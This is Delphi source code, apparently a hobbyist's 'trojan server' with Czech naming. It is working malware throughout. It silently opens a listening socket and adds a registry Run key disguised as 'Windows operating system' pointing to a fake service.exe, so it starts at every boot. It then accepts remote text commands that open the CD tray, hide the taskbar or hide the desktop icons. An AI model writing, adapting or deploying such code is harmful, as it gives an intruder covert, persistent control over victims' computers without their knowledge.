seberm

unit trojan_server_system;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, MMSystem, StdCtrls, Registry, Winsock;
//...Do Uses p�id�no MMSystem, Registry, Winsock

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure AutomatickeSpusteni;
    procedure VypnoutAutomatickeSpousteni;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  ServerSocket1.Active:= True;
  AutomatickeSpusteni;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  zprava: String;
  hTaskBar: THandle;
begin
  zprava:= ServerSocket1.Socket.Connections[0].ReceiveText;

  if zprava = 'cdout' then
    begin
      mciSendString('Set cdaudio door open wait',nil,0,handle);
    end;

  if zprava = 'cdin' then
    begin
      mciSendString('Set cdaudio door closed wait',nil,0,handle);
    end;

  if zprava = 'hidetask' then
    begin
      hTaskbar:= FindWindow('Shell_TrayWnd', Nil);
      ShowWindow(hTaskBar, SW_HIDE);
    end;

  if zprava = 'showtask' then
    begin
      hTaskbar:= FindWindow('Shell_TrayWnd', Nil);
      ShowWindow(hTaskBar, SW_SHOWNORMAL);
    end;

   if zprava = 'hideicons' then
    begin
      ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
    end;

   if zprava = 'showicons' then
    begin
      ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
    end;

   if zprava = 'closeserver' then
    begin
      ServerSocket1.Active:= False;
    end;
end;



procedure TForm1.AutomatickeSpusteni;
var
  key: String;
  Reg: TRegIniFile;
begin
  key:= '\Software\Microsoft\Windows\CurrentVersion\Run';
  Reg:= TRegIniFile.Create;
  try
    Reg.RootKey:= HKEY_LOCAL_MACHINE;
    Reg.CreateKey(Key);
      if Reg.OpenKey(Key,False) then
        Reg.WriteString(key,'Windows operating system','C:\WINDOWS\system32\service.exe');
  finally
    Reg.Free;
  end;
end;

procedure TForm1.VypnoutAutomatickeSpousteni;
var
  key: String;
  Reg: TRegIniFile;
begin
  key:= '\Software\Microsoft\Windows\CurrentVersion\Run';
  Reg:= TRegIniFile.Create;
  try
    Reg.RootKey:= HKEY_LOCAL_MACHINE;
      if Reg.OpenKey(Key,False) then
        Reg.DeleteValue('Windows operating system');
  finally
    Reg.Free;
  end;

end;


end.